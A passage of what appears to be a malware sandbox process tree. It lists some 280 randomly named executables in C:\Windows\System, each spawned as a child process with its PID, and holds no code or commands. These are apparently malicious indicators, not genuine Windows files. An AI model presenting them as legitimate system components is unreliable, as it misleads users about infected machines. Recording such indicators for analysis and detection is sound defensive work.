  C:\Windows\System\deVjlCN.exe
  2⤵
  PID:8620
- C:\Windows\System\DmJrFjw.exe
  C:\Windows\System\DmJrFjw.exe
  2⤵
  PID:8636
- C:\Windows\System\MdNcXuV.exe
  C:\Windows\System\MdNcXuV.exe
  2⤵
  PID:8664
- C:\Windows\System\cVbkHqZ.exe
  C:\Windows\System\cVbkHqZ.exe
  2⤵
  PID:8692
- C:\Windows\System\tbcTvIK.exe
  C:\Windows\System\tbcTvIK.exe
  2⤵
  PID:8740
- C:\Windows\System\idddJEY.exe
  C:\Windows\System\idddJEY.exe
  2⤵
  PID:8764
- C:\Windows\System\tCeXzYM.exe
  C:\Windows\System\tCeXzYM.exe
  2⤵
  PID:8788
- C:\Windows\System\eGbEXYC.exe
  C:\Windows\System\eGbEXYC.exe
  2⤵
  PID:8804
- C:\Windows\System\BbPIGsu.exe
  C:\Windows\System\BbPIGsu.exe
  2⤵
  PID:8828
- C:\Windows\System\xiwCbVM.exe
  C:\Windows\System\xiwCbVM.exe
  2⤵
  PID:8844
- C:\Windows\System\EvqOwOJ.exe
  C:\Windows\System\EvqOwOJ.exe
  2⤵
  PID:8880
- C:\Windows\System\JXVWTXE.exe
  C:\Windows\System\JXVWTXE.exe
  2⤵
  PID:8928
- C:\Windows\System\IveaBwk.exe
  C:\Windows\System\IveaBwk.exe
  2⤵
  PID:8968
- C:\Windows\System\yrDgncn.exe
  C:\Windows\System\yrDgncn.exe
  2⤵
  PID:8996
- C:\Windows\System\rGJsTZv.exe
  C:\Windows\System\rGJsTZv.exe
  2⤵
  PID:9020
- C:\Windows\System\LbqRDtK.exe
  C:\Windows\System\LbqRDtK.exe
  2⤵
  PID:9036
- C:\Windows\System\rYsKHKD.exe
  C:\Windows\System\rYsKHKD.exe
  2⤵
  PID:9052
- C:\Windows\System\OETxcqv.exe
  C:\Windows\System\OETxcqv.exe
  2⤵
  PID:9072
- C:\Windows\System\JmscHlF.exe
  C:\Windows\System\JmscHlF.exe
  2⤵
  PID:9108
- C:\Windows\System\YJkdoxq.exe
  C:\Windows\System\YJkdoxq.exe
  2⤵
  PID:9128
- C:\Windows\System\MYEKmHz.exe
  C:\Windows\System\MYEKmHz.exe
  2⤵
  PID:9152
- C:\Windows\System\JPIrKwO.exe
  C:\Windows\System\JPIrKwO.exe
  2⤵
  PID:9172
- C:\Windows\System\ZlbqPIS.exe
  C:\Windows\System\ZlbqPIS.exe
  2⤵
  PID:9192
- C:\Windows\System\bXZyjHR.exe
  C:\Windows\System\bXZyjHR.exe
  2⤵
  PID:9212
- C:\Windows\System\huWOwLI.exe
  C:\Windows\System\huWOwLI.exe
  2⤵
  PID:7452
- C:\Windows\System\rVSmPRv.exe
  C:\Windows\System\rVSmPRv.exe
  2⤵
  PID:8284
- C:\Windows\System\mxkMKff.exe
  C:\Windows\System\mxkMKff.exe
  2⤵
  PID:8308
- C:\Windows\System\TYBHjoh.exe
  C:\Windows\System\TYBHjoh.exe
  2⤵
  PID:8392
- C:\Windows\System\avqsqTt.exe
  C:\Windows\System\avqsqTt.exe
  2⤵
  PID:8528
- C:\Windows\System\YhrJXrH.exe
  C:\Windows\System\YhrJXrH.exe
  2⤵
  PID:8588
- C:\Windows\System\vpniiYO.exe
  C:\Windows\System\vpniiYO.exe
  2⤵
  PID:8648
- C:\Windows\System\nZqxzsb.exe
  C:\Windows\System\nZqxzsb.exe
  2⤵
  PID:8684
- C:\Windows\System\TZaRSzl.exe
  C:\Windows\System\TZaRSzl.exe
  2⤵
  PID:8800
- C:\Windows\System\mTRQHWE.exe
  C:\Windows\System\mTRQHWE.exe
  2⤵
  PID:8876
- C:\Windows\System\ZiKWjww.exe
  C:\Windows\System\ZiKWjww.exe
  2⤵
  PID:8948
- C:\Windows\System\YBMHxgy.exe
  C:\Windows\System\YBMHxgy.exe
  2⤵
  PID:9012
- C:\Windows\System\baviIro.exe
  C:\Windows\System\baviIro.exe
  2⤵
  PID:9124
- C:\Windows\System\DFmdVpn.exe
  C:\Windows\System\DFmdVpn.exe
  2⤵
  PID:8240
- C:\Windows\System\yLrOkZL.exe
  C:\Windows\System\yLrOkZL.exe
  2⤵
  PID:8204
- C:\Windows\System\FvSOvqq.exe
  C:\Windows\System\FvSOvqq.exe
  2⤵
  PID:8628
- C:\Windows\System\OHdZgHq.exe
  C:\Windows\System\OHdZgHq.exe
  2⤵
  PID:8660
- C:\Windows\System\gziqRzN.exe
  C:\Windows\System\gziqRzN.exe
  2⤵
  PID:8672
- C:\Windows\System\urAvFSW.exe
  C:\Windows\System\urAvFSW.exe
  2⤵
  PID:8824
- C:\Windows\System\KVTogJU.exe
  C:\Windows\System\KVTogJU.exe
  2⤵
  PID:9016
- C:\Windows\System\lmUnVzz.exe
  C:\Windows\System\lmUnVzz.exe
  2⤵
  PID:9096
- C:\Windows\System\PJTZvTy.exe
  C:\Windows\System\PJTZvTy.exe
  2⤵
  PID:8504
- C:\Windows\System\dLtKrPI.exe
  C:\Windows\System\dLtKrPI.exe
  2⤵
  PID:8656
- C:\Windows\System\CWJQVwu.exe
  C:\Windows\System\CWJQVwu.exe
  2⤵
  PID:9208
- C:\Windows\System\hUePPTu.exe
  C:\Windows\System\hUePPTu.exe
  2⤵
  PID:8780
- C:\Windows\System\PlqeCRd.exe
  C:\Windows\System\PlqeCRd.exe
  2⤵
  PID:9236
- C:\Windows\System\ZywnbtI.exe
  C:\Windows\System\ZywnbtI.exe
  2⤵
  PID:9264
- C:\Windows\System\vRNgEXx.exe
  C:\Windows\System\vRNgEXx.exe
  2⤵
  PID:9284
- C:\Windows\System\hwAAuSq.exe
  C:\Windows\System\hwAAuSq.exe
  2⤵
  PID:9320
- C:\Windows\System\nXuvkAZ.exe
  C:\Windows\System\nXuvkAZ.exe
  2⤵
  PID:9340
- C:\Windows\System\PWjJeMy.exe
  C:\Windows\System\PWjJeMy.exe
  2⤵
  PID:9412
- C:\Windows\System\NxbxkNe.exe
  C:\Windows\System\NxbxkNe.exe
  2⤵
  PID:9432
- C:\Windows\System\lQRMJDG.exe
  C:\Windows\System\lQRMJDG.exe
  2⤵
  PID:9456
- C:\Windows\System\JeYJVFy.exe
  C:\Windows\System\JeYJVFy.exe
  2⤵
  PID:9472
- C:\Windows\System\InqNgMn.exe
  C:\Windows\System\InqNgMn.exe
  2⤵
  PID:9492
- C:\Windows\System\rCnTXeQ.exe
  C:\Windows\System\rCnTXeQ.exe
  2⤵
  PID:9508
- C:\Windows\System\SxWeNkh.exe
  C:\Windows\System\SxWeNkh.exe
  2⤵
  PID:9524
- C:\Windows\System\BcEdQXZ.exe
  C:\Windows\System\BcEdQXZ.exe
  2⤵
  PID:9540
- C:\Windows\System\WMiaksk.exe
  C:\Windows\System\WMiaksk.exe
  2⤵
  PID:9556
- C:\Windows\System\soPtQMz.exe
  C:\Windows\System\soPtQMz.exe
  2⤵
  PID:9572
- C:\Windows\System\CLmLfmg.exe
  C:\Windows\System\CLmLfmg.exe
  2⤵
  PID:9588
- C:\Windows\System\vvJjaXd.exe
  C:\Windows\System\vvJjaXd.exe
  2⤵
  PID:9604
- C:\Windows\System\msEMFKL.exe
  C:\Windows\System\msEMFKL.exe
  2⤵
  PID:9620
- C:\Windows\System\ysmXBYA.exe
  C:\Windows\System\ysmXBYA.exe
  2⤵
  PID:9656
- C:\Windows\System\gLLPrTs.exe
  C:\Windows\System\gLLPrTs.exe
  2⤵
  PID:9704
- C:\Windows\System\GQdFkwh.exe
  C:\Windows\System\GQdFkwh.exe
  2⤵
  PID:9800
- C:\Windows\System\spUnXPA.exe
  C:\Windows\System\spUnXPA.exe
  2⤵
  PID:9888
- C:\Windows\System\ACZXpRW.exe
  C:\Windows\System\ACZXpRW.exe
  2⤵
  PID:9904
- C:\Windows\System\GPsYEpX.exe
  C:\Windows\System\GPsYEpX.exe
  2⤵
  PID:9928
- C:\Windows\System\HbffJiy.exe
  C:\Windows\System\HbffJiy.exe
  2⤵
  PID:9956
- C:\Windows\System\DWasbkb.exe
  C:\Windows\System\DWasbkb.exe
  2⤵
  PID:9980
- C:\Windows\System\JEaRjDD.exe
  C:\Windows\System\JEaRjDD.exe
  2⤵
  PID:10008
- C:\Windows\System\oJYjcHs.exe
  C:\Windows\System\oJYjcHs.exe
  2⤵
  PID:10028
- C:\Windows\System\MgHCAzx.exe
  C:\Windows\System\MgHCAzx.exe
  2⤵
  PID:10072
- C:\Windows\System\ToAxtPO.exe
  C:\Windows\System\ToAxtPO.exe
  2⤵
  PID:10120
- C:\Windows\System\LbNHZBk.exe
  C:\Windows\System\LbNHZBk.exe
  2⤵
  PID:10148
- C:\Windows\System\mRCMWbL.exe
  C:\Windows\System\mRCMWbL.exe
  2⤵
  PID:10172
- C:\Windows\System\Pvbeccd.exe
  C:\Windows\System\Pvbeccd.exe
  2⤵
  PID:10196
- C:\Windows\System\wqGTmjH.exe
  C:\Windows\System\wqGTmjH.exe
  2⤵
  PID:10220
- C:\Windows\System\hENLBHv.exe
  C:\Windows\System\hENLBHv.exe
  2⤵
  PID:9280
- C:\Windows\System\qnIsuTQ.exe
  C:\Windows\System\qnIsuTQ.exe
  2⤵
  PID:9440
- C:\Windows\System\Rrseiww.exe
  C:\Windows\System\Rrseiww.exe
  2⤵
  PID:9484
- C:\Windows\System\FutwVNi.exe
  C:\Windows\System\FutwVNi.exe
  2⤵
  PID:9364
- C:\Windows\System\yqEtcdl.exe
  C:\Windows\System\yqEtcdl.exe
  2⤵
  PID:9612
- C:\Windows\System\RXpxBkn.exe
  C:\Windows\System\RXpxBkn.exe
  2⤵
  PID:9792
- C:\Windows\System\NwnDGRT.exe
  C:\Windows\System\NwnDGRT.exe
  2⤵
  PID:9732
- C:\Windows\System\IfyMtvA.exe
  C:\Windows\System\IfyMtvA.exe
  2⤵
  PID:9568
- C:\Windows\System\vrdVDoX.exe
  C:\Windows\System\vrdVDoX.exe
  2⤵
  PID:9780
- C:\Windows\System\TNjLVxl.exe
  C:\Windows\System\TNjLVxl.exe
  2⤵
  PID:9688
- C:\Windows\System\xSaGcll.exe
  C:\Windows\System\xSaGcll.exe
  2⤵
  PID:9752
- C:\Windows\System\LthQQPA.exe
  C:\Windows\System\LthQQPA.exe
  2⤵
  PID:10004
- C:\Windows\System\yYPkomb.exe
  C:\Windows\System\yYPkomb.exe
  2⤵
  PID:10068
- C:\Windows\System\BwuLlyU.exe
  C:\Windows\System\BwuLlyU.exe
  2⤵
  PID:9920
- C:\Windows\System\lfikKzT.exe
  C:\Windows\System\lfikKzT.exe
  2⤵
  PID:9976
- C:\Windows\System\hklhhnf.exe
  C:\Windows\System\hklhhnf.exe
  2⤵
  PID:10136
- C:\Windows\System\trsNKbz.exe
  C:\Windows\System\trsNKbz.exe
  2⤵
  PID:10112
- C:\Windows\System\iqfMpLS.exe
  C:\Windows\System\iqfMpLS.exe
  2⤵
  PID:10212
- C:\Windows\System\mYteFrY.exe
  C:\Windows\System\mYteFrY.exe
  2⤵
  PID:9100
- C:\Windows\System\MZLvAgu.exe
  C:\Windows\System\MZLvAgu.exe
  2⤵
  PID:9352
- C:\Windows\System\EuQjIHu.exe
  C:\Windows\System\EuQjIHu.exe
  2⤵
  PID:9536
- C:\Windows\System\SjshGFW.exe
  C:\Windows\System\SjshGFW.exe
  2⤵
  PID:9600
- C:\Windows\System\reUpamj.exe
  C:\Windows\System\reUpamj.exe
  2⤵
  PID:9768
- C:\Windows\System\omfLZxM.exe
  C:\Windows\System\omfLZxM.exe
  2⤵
  PID:9952
- C:\Windows\System\TLbkeIv.exe
  C:\Windows\System\TLbkeIv.exe
  2⤵
  PID:10116
- C:\Windows\System\nSyXTJZ.exe
  C:\Windows\System\nSyXTJZ.exe
  2⤵
  PID:10108
- C:\Windows\System\KcnOSWa.exe
  C:\Windows\System\KcnOSWa.exe
  2⤵
  PID:9252
- C:\Windows\System\irTdHcw.exe
  C:\Windows\System\irTdHcw.exe
  2⤵
  PID:9400
- C:\Windows\System\KSRrTyT.exe
  C:\Windows\System\KSRrTyT.exe
  2⤵
  PID:9764
- C:\Windows\System\UnorwTD.exe
  C:\Windows\System\UnorwTD.exe
  2⤵
  PID:10248
- C:\Windows\System\WYDSnnE.exe
  C:\Windows\System\WYDSnnE.exe
  2⤵
  PID:10288
- C:\Windows\System\ypCQpfU.exe
  C:\Windows\System\ypCQpfU.exe
  2⤵
  PID:10328
- C:\Windows\System\GwXqBKU.exe
  C:\Windows\System\GwXqBKU.exe
  2⤵
  PID:10352
- C:\Windows\System\iDTfaLO.exe
  C:\Windows\System\iDTfaLO.exe
  2⤵
  PID:10372
- C:\Windows\System\DrNsRym.exe
  C:\Windows\System\DrNsRym.exe
  2⤵
  PID:10392
- C:\Windows\System\SzevzVx.exe
  C:\Windows\System\SzevzVx.exe
  2⤵
  PID:10424
- C:\Windows\System\WyzfjGk.exe
  C:\Windows\System\WyzfjGk.exe
  2⤵
  PID:10448
- C:\Windows\System\oMByxsc.exe
  C:\Windows\System\oMByxsc.exe
  2⤵
  PID:10504
- C:\Windows\System\AbYUphH.exe
  C:\Windows\System\AbYUphH.exe
  2⤵
  PID:10568
- C:\Windows\System\dJHSMCT.exe
  C:\Windows\System\dJHSMCT.exe
  2⤵
  PID:10588
- C:\Windows\System\jGifZpe.exe
  C:\Windows\System\jGifZpe.exe
  2⤵
  PID:10628
- C:\Windows\System\gBgorJC.exe
  C:\Windows\System\gBgorJC.exe
  2⤵
  PID:10652
- C:\Windows\System\MfHdEIE.exe
  C:\Windows\System\MfHdEIE.exe
  2⤵
  PID:10672
- C:\Windows\System\SanpTVr.exe
  C:\Windows\System\SanpTVr.exe
  2⤵
  PID:10700
- C:\Windows\System\LoGVZfz.exe
  C:\Windows\System\LoGVZfz.exe
  2⤵
  PID:10748
- C:\Windows\System\oQebUXw.exe
  C:\Windows\System\oQebUXw.exe
  2⤵
  PID:10768
- C:\Windows\System\VPUzlBz.exe
  C:\Windows\System\VPUzlBz.exe
  2⤵
  PID:10784
- C:\Windows\System\hBvVCVU.exe
  C:\Windows\System\hBvVCVU.exe
  2⤵
  PID:10812
- C:\Windows\System\mBIqyor.exe
  C:\Windows\System\mBIqyor.exe
  2⤵
  PID:10836
- C:\Windows\System\KgqJhMB.exe
  C:\Windows\System\KgqJhMB.exe
  2⤵
  PID:10860
- C:\Windows\System\NHmnEXd.exe
  C:\Windows\System\NHmnEXd.exe
  2⤵
  PID:10880
- C:\Windows\System\RqpQnEd.exe
  C:\Windows\System\RqpQnEd.exe
  2⤵
  PID:10904
- C:\Windows\System\pfwrBVb.exe
  C:\Windows\System\pfwrBVb.exe
  2⤵
  PID:10960
- C:\Windows\System\YqoUdUZ.exe
  C:\Windows\System\YqoUdUZ.exe
  2⤵
  PID:11000
- C:\Windows\System\zwYxkrg.exe
  C:\Windows\System\zwYxkrg.exe
  2⤵
  PID:11020
- C:\Windows\System\WWLMAek.exe
  C:\Windows\System\WWLMAek.exe
  2⤵
  PID:11040
- C:\Windows\System\jYdPbMV.exe
  C:\Windows\System\jYdPbMV.exe
  2⤵
  PID:11060
- C:\Windows\System\NTXGwVT.exe
  C:\Windows\System\NTXGwVT.exe
  2⤵
  PID:11100
- C:\Windows\System\IKXWmYn.exe
  C:\Windows\System\IKXWmYn.exe
  2⤵
  PID:11120
- C:\Windows\System\BNmuqma.exe
  C:\Windows\System\BNmuqma.exe
  2⤵
  PID:11172
- C:\Windows\System\fsjLIAg.exe
  C:\Windows\System\fsjLIAg.exe
  2⤵
  PID:11192
- C:\Windows\System\BCHORas.exe
  C:\Windows\System\BCHORas.exe
  2⤵
  PID:11212
- C:\Windows\System\haWLhvf.exe
  C:\Windows\System\haWLhvf.exe
  2⤵
  PID:11244
- C:\Windows\System\CnsLDRL.exe
  C:\Windows\System\CnsLDRL.exe
  2⤵
  PID:10020
- C:\Windows\System\ryoFteQ.exe
  C:\Windows\System\ryoFteQ.exe
  2⤵
  PID:9912
- C:\Windows\System\vIlcHCM.exe
  C:\Windows\System\vIlcHCM.exe
  2⤵
  PID:9428
- C:\Windows\System\JLBAAvd.exe
  C:\Windows\System\JLBAAvd.exe
  2⤵
  PID:10284
- C:\Windows\System\SWGylWX.exe
  C:\Windows\System\SWGylWX.exe
  2⤵
  PID:10460
- C:\Windows\System\FVIjWdN.exe
  C:\Windows\System\FVIjWdN.exe
  2⤵
  PID:10484
- C:\Windows\System\mPHomtL.exe
  C:\Windows\System\mPHomtL.exe
  2⤵
  PID:10600
- C:\Windows\System\lePcwbV.exe
  C:\Windows\System\lePcwbV.exe
  2⤵
  PID:10576
- C:\Windows\System\dCipBWE.exe
  C:\Windows\System\dCipBWE.exe
  2⤵
  PID:10624
- C:\Windows\System\ooDPfSt.exe
  C:\Windows\System\ooDPfSt.exe
  2⤵
  PID:10692
- C:\Windows\System\zzFxKKA.exe
  C:\Windows\System\zzFxKKA.exe
  2⤵
  PID:10760
- C:\Windows\System\BwRdzdu.exe
  C:\Windows\System\BwRdzdu.exe
  2⤵
  PID:10852
- C:\Windows\System\YIuFZqA.exe
  C:\Windows\System\YIuFZqA.exe
  2⤵
  PID:10888
- C:\Windows\System\NgEBjbH.exe
  C:\Windows\System\NgEBjbH.exe
  2⤵
  PID:10896
- C:\Windows\System\gKNdPFw.exe
  C:\Windows\System\gKNdPFw.exe
  2⤵
  PID:10992
- C:\Windows\System\ZrHbKVk.exe
  C:\Windows\System\ZrHbKVk.exe
  2⤵
  PID:11076
- C:\Windows\System\ZXVOwCR.exe
  C:\Windows\System\ZXVOwCR.exe
  2⤵
  PID:11184
- C:\Windows\System\QEwFMPU.exe
  C:\Windows\System\QEwFMPU.exe
  2⤵
  PID:9348
- C:\Windows\System\QHlDcGS.exe
  C:\Windows\System\QHlDcGS.exe
  2⤵
  PID:10360
- C:\Windows\System\lsIhuor.exe
  C:\Windows\System\lsIhuor.exe
  2⤵
  PID:10480
- C:\Windows\System\bSBzkhp.exe
  C:\Windows\System\bSBzkhp.exe
  2⤵
  PID:10540
- C:\Windows\System\LGHrXXx.exe
  C:\Windows\System\LGHrXXx.exe
  2⤵
  PID:10584
- C:\Windows\System\smlxDUW.exe
  C:\Windows\System\smlxDUW.exe
  2⤵
  PID:10792
- C:\Windows\System\IcAVKiV.exe
  C:\Windows\System\IcAVKiV.exe
  2⤵
  PID:11036
- C:\Windows\System\XzWIzNY.exe
  C:\Windows\System\XzWIzNY.exe
  2⤵
  PID:11232
- C:\Windows\System\NtpJXfe.exe
  C:\Windows\System\NtpJXfe.exe
  2⤵
  PID:10456
- C:\Windows\System\ZrhVqvN.exe
  C:\Windows\System\ZrhVqvN.exe
  2⤵
  PID:10636
- C:\Windows\System\oxfdHDV.exe
  C:\Windows\System\oxfdHDV.exe
  2⤵
  PID:10848
- C:\Windows\System\VChJyFo.exe
  C:\Windows\System\VChJyFo.exe
  2⤵
  PID:10416
- C:\Windows\System\lAnnXXL.exe
  C:\Windows\System\lAnnXXL.exe
  2⤵
  PID:11272
- C:\Windows\System\xFzAohw.exe
  C:\Windows\System\xFzAohw.exe
  2⤵
  PID:11324
- C:\Windows\System\PGbHDON.exe
  C:\Windows\System\PGbHDON.exe
  2⤵
  PID:11348
- C:\Windows\System\mgUfApG.exe
  C:\Windows\System\mgUfApG.exe
  2⤵
  PID:11364
- C:\Windows\System\PyggZiL.exe
  C:\Windows\System\PyggZiL.exe
  2⤵
  PID:11384
- C:\Windows\System\XwPwhcx.exe
  C:\Windows\System\XwPwhcx.exe
  2⤵
  PID:11412
- C:\Windows\System\DAMuvjG.exe
  C:\Windows\System\DAMuvjG.exe
  2⤵
  PID:11428
- C:\Windows\System\GzQcbXg.exe
  C:\Windows\System\GzQcbXg.exe
  2⤵
  PID:11460
- C:\Windows\System\vkXQVjZ.exe
  C:\Windows\System\vkXQVjZ.exe
  2⤵
  PID:11508
- C:\Windows\System\kModCDK.exe
  C:\Windows\System\kModCDK.exe
  2⤵
  PID:11544
- C:\Windows\System\UXbEClV.exe
  C:\Windows\System\UXbEClV.exe
  2⤵
  PID:11560
- C:\Windows\System\exBRIDK.exe
  C:\Windows\System\exBRIDK.exe
  2⤵
  PID:11584
- C:\Windows\System\BFzAahM.exe
  C:\Windows\System\BFzAahM.exe
  2⤵
  PID:11612
- C:\Windows\System\rWGdHiS.exe
  C:\Windows\System\rWGdHiS.exe
  2⤵
  PID:11644
- C:\Windows\System\OcWetUr.exe
  C:\Windows\System\OcWetUr.exe
  2⤵
  PID:11664
- C:\Windows\System\hufoSXi.exe
  C:\Windows\System\hufoSXi.exe
  2⤵
  PID:11692
- C:\Windows\System\SxZcZuK.exe
  C:\Windows\System\SxZcZuK.exe
  2⤵
  PID:11732
- C:\Windows\System\YwkYMsM.exe
  C:\Windows\System\YwkYMsM.exe
  2⤵
  PID:11760
- C:\Windows\System\ImOywcZ.exe
  C:\Windows\System\ImOywcZ.exe
  2⤵
  PID:11804
- C:\Windows\System\DjbdHbH.exe
  C:\Windows\System\DjbdHbH.exe
  2⤵
  PID:11824
- C:\Windows\System\nqsFvZH.exe
  C:\Windows\System\nqsFvZH.exe
  2⤵
  PID:11848
- C:\Windows\System\ImNiRdV.exe
  C:\Windows\System\ImNiRdV.exe
  2⤵
  PID:11872
- C:\Windows\System\oXnrSuv.exe
  C:\Windows\System\oXnrSuv.exe
  2⤵
  PID:11896
- C:\Windows\System\TbVtKRq.exe
  C:\Windows\System\TbVtKRq.exe
  2⤵
  PID:11936
- C:\Windows\System\CWXWbks.exe
  C:\Windows\System\CWXWbks.exe
  2⤵
  PID:11960
- C:\Windows\System\dpjUHPU.exe
  C:\Windows\System\dpjUHPU.exe
  2⤵
  PID:12000
- C:\Windows\System\NboayyL.exe
  C:\Windows\System\NboayyL.exe
  2⤵
  PID:12020
- C:\Windows\System\UYtiiuU.exe
  C:\Windows\System\UYtiiuU.exe
  2⤵
  PID:12048
- C:\Windows\System\aevFWKx.exe
  C:\Windows\System\aevFWKx.exe
  2⤵
  PID:12076
- C:\Windows\System\BaiPvTx.exe
  C:\Windows\System\BaiPvTx.exe
  2⤵
  PID:12100
- C:\Windows\System\JFkkeNX.exe
  C:\Windows\System\JFkkeNX.exe
  2⤵
  PID:12116
- C:\Windows\System\BZHEvGr.exe
  C:\Windows\System\BZHEvGr.exe
  2⤵
  PID:12144
- C:\Windows\System\GKrZcDD.exe
  C:\Windows\System\GKrZcDD.exe
  2⤵
  PID:12192
- C:\Windows\System\vVKkzyV.exe
  C:\Windows\System\vVKkzyV.exe
  2⤵
  PID:12216
- C:\Windows\System\osLrpue.exe
  C:\Windows\System\osLrpue.exe
  2⤵
  PID:12232
- C:\Windows\System\QtPhtCS.exe
  C:\Windows\System\QtPhtCS.exe
  2⤵
  PID:12272
- C:\Windows\System\rIyTJeW.exe
  C:\Windows\System\rIyTJeW.exe
  2⤵
  PID:10160
- C:\Windows\System\MRHCSRm.exe
  C:\Windows\System\MRHCSRm.exe
  2⤵
  PID:11336
- C:\Windows\System\xhvvXeo.exe
  C:\Windows\System\xhvvXeo.exe
  2⤵
  PID:11392
- C:\Windows\System\JBhXNBF.exe
  C:\Windows\System\JBhXNBF.exe
  2⤵
  PID:11456
- C:\Windows\System\MaAqTSv.exe
  C:\Windows\System\MaAqTSv.exe
  2⤵
  PID:11556
- C:\Windows\System\daHfikM.exe
  C:\Windows\System\daHfikM.exe
  2⤵
  PID:11600
- C:\Windows\System\SgdqKGn.exe
  C:\Windows\System\SgdqKGn.exe
  2⤵
  PID:11632
- C:\Windows\System\qzBtrAG.exe
  C:\Windows\System\qzBtrAG.exe
  2⤵
  PID:11688
- C:\Windows\System\mtMxyhf.exe
  C:\Windows\System\mtMxyhf.exe
  2⤵
  PID:11780
- C:\Windows\System\LnkkYml.exe
  C:\Windows\System\LnkkYml.exe
  2⤵
  PID:11832
- C:\Windows\System\iUNRPJe.exe
  C:\Windows\System\iUNRPJe.exe
  2⤵
  PID:11944
- C:\Windows\System\bqFzSHb.exe
  C:\Windows\System\bqFzSHb.exe
  2⤵
  PID:11952
- C:\Windows\System\XqVBfXA.exe
  C:\Windows\System\XqVBfXA.exe
  2⤵
  PID:12028
- C:\Windows\System\BsnnCtk.exe
  C:\Windows\System\BsnnCtk.exe
  2⤵
  PID:12072
- C:\Windows\System\npiTdIs.exe
  C:\Windows\System\npiTdIs.exe
  2⤵
  PID:12136
- C:\Windows\System\lcZRpXS.exe
  C:\Windows\System\lcZRpXS.exe
  2⤵
  PID:12184
- C:\Windows\System\ckBUttK.exe
  C:\Windows\System\ckBUttK.exe
  2⤵
  PID:10432
- C:\Windows\System\JyrRgAl.exe
  C:\Windows\System\JyrRgAl.exe
  2⤵
  PID:11380
- C:\Windows\System\IdIqJlp.exe
  C:\Windows\System\IdIqJlp.exe
  2⤵
  PID:4860
- C:\Windows\System\gPGgTDt.exe
  C:\Windows\System\gPGgTDt.exe
  2⤵
  PID:1864
- C:\Windows\System\hbnlYpP.exe
  C:\Windows\System\hbnlYpP.exe
  2⤵
  PID:11628
- C:\Windows\System\HEVBIZn.exe
  C:\Windows\System\HEVBIZn.exe
  2⤵
  PID:4384
- C:\Windows\System\KdHRerw.exe
  C:\Windows\System\KdHRerw.exe
  2⤵
  PID:11884
- C:\Windows\System\thqLyzf.exe
  C:\Windows\System\thqLyzf.exe
  2⤵
  PID:11980
- C:\Windows\System\hBjZgUG.exe
  C:\Windows\System\hBjZgUG.exe
  2⤵
  PID:12228
- C:\Windows\System\vRBaLsk.exe
  C:\Windows\System\vRBaLsk.exe
  2⤵
  PID:11356
- C:\Windows\System\incqarq.exe
  C:\Windows\System\incqarq.exe
  2⤵
  PID:11536
- C:\Windows\System\SDlodcC.exe
  C:\Windows\System\SDlodcC.exe
  2⤵
  PID:11580
- C:\Windows\System\NPQOoDV.exe
  C:\Windows\System\NPQOoDV.exe
  2⤵
  PID:11908
- C:\Windows\System\feWAFDd.exe
  C:\Windows\System\feWAFDd.exe
  2⤵
  PID:12112
- C:\Windows\System\lvaUrLO.exe
  C:\Windows\System\lvaUrLO.exe
  2⤵
  PID:11452
- C:\Windows\System\pFYRVRK.exe
  C:\Windows\System\pFYRVRK.exe
  2⤵
  PID:10016
- C:\Windows\System\tbTjpOH.exe
  C:\Windows\System\tbTjpOH.exe
  2⤵
  PID:12308
- C:\Windows\System\YyzvoIn.exe
  C:\Windows\System\YyzvoIn.exe
  2⤵
  PID:12324
- C:\Windows\System\WuMLcrJ.exe
  C:\Windows\System\WuMLcrJ.exe
  2⤵
  PID:12344
- C:\Windows\System\jiZGjTU.exe
  C:\Windows\System\jiZGjTU.exe
  2⤵
  PID:12368
- C:\Windows\System\TrzqQWg.exe
  C:\Windows\System\TrzqQWg.exe
  2⤵
  PID:12384
- C:\Windows\System\FHlpKmZ.exe
  C:\Windows\System\FHlpKmZ.exe
  2⤵
  PID:12412
- C:\Windows\System\auhjRSb.exe
  C:\Windows\System\auhjRSb.exe
  2⤵
  PID:12428
- C:\Windows\System\DPXSjPI.exe
  C:\Windows\System\DPXSjPI.exe
  2⤵
  PID:12452
- C:\Windows\System\UTfUTuL.exe
  C:\Windows\System\UTfUTuL.exe
  2⤵
  PID:12504
- C:\Windows\System\IJJjEJl.exe
  C:\Windows\System\IJJjEJl.exe
  2⤵
  PID:12524
- C:\Windows\System\IujCcPY.exe
  C:\Windows\System\IujCcPY.exe
  2⤵
  PID:12572
- C:\Windows\System\dCiYROX.exe
  C:\Windows\System\dCiYROX.exe
  2⤵
  PID:12592
- C:\Windows\System\ETtEeoj.exe
  C:\Windows\System\ETtEeoj.exe
  2⤵
  PID:12620
- C:\Windows\System\amicIrN.exe
  C:\Windows\System\amicIrN.exe
  2⤵
  PID:12644
- C:\Windows\System\xceyfLJ.exe
  C:\Windows\System\xceyfLJ.exe
  2⤵
  PID:12664
- C:\Windows\System\UCXjXgu.exe
  C:\Windows\System\UCXjXgu.exe
  2⤵
  PID:12720
- C:\Windows\System\yabcITn.exe
  C:\Windows\System\yabcITn.exe
  2⤵
  PID:12788
- C:\Windows\System\hZtlaRj.exe
  C:\Windows\System\hZtlaRj.exe
  2⤵
  PID:12812
- C:\Windows\System\GBZdeIM.exe
  C:\Windows\System\GBZdeIM.exe
  2⤵
  PID:12852
- C:\Windows\System\Pijxtvs.exe
  C:\Windows\System\Pijxtvs.exe
  2⤵
  PID:12868
- C:\Windows\System\WtLTOrT.exe
  C:\Windows\System\WtLTOrT.exe
  2⤵
  PID:12892
- C:\Windows\System\PaMUEQv.exe
  C:\Windows\System\PaMUEQv.exe
  2⤵
  PID:12936
- C:\Windows\System\cKacTRi.exe
  C:\Windows\System\cKacTRi.exe
  2⤵
  PID:12956
- C:\Windows\System\pGnbaei.exe
  C:\Windows\System\pGnbaei.exe
  2⤵
  PID:13000
- C:\Windows\System\DIYQhmt.exe
  C:\Windows\System\DIYQhmt.exe
  2⤵
  PID:13016
- C:\Windows\System\pPamKPx.exe
  C:\Windows\System\pPamKPx.exe
  2⤵
  PID:13036
- C:\Windows\System\lGVMkpK.exe
  C:\Windows\System\lGVMkpK.exe
  2⤵
  PID:13056
- C:\Windows\System\aNWpkfY.exe
  C:\Windows\System\aNWpkfY.exe
  2⤵
  PID:13092
- C:\Windows\System\BuntDwN.exe
  C:\Windows\System\BuntDwN.exe
  2⤵
  PID:13116
- C:\Windows\System\CQnHxvf.exe
  C:\Windows\System\CQnHxvf.exe
  2⤵
  PID:13136
- C:\Windows\System\SJcFXLP.exe
  C:\Windows\System\SJcFXLP.exe
  2⤵
  PID:12636
- C:\Windows\System\zEqxbbr.exe
  C:\Windows\System\zEqxbbr.exe
  2⤵
  PID:12776
- C:\Windows\System\RjiJEeO.exe
  C:\Windows\System\RjiJEeO.exe
  2⤵
  PID:12844
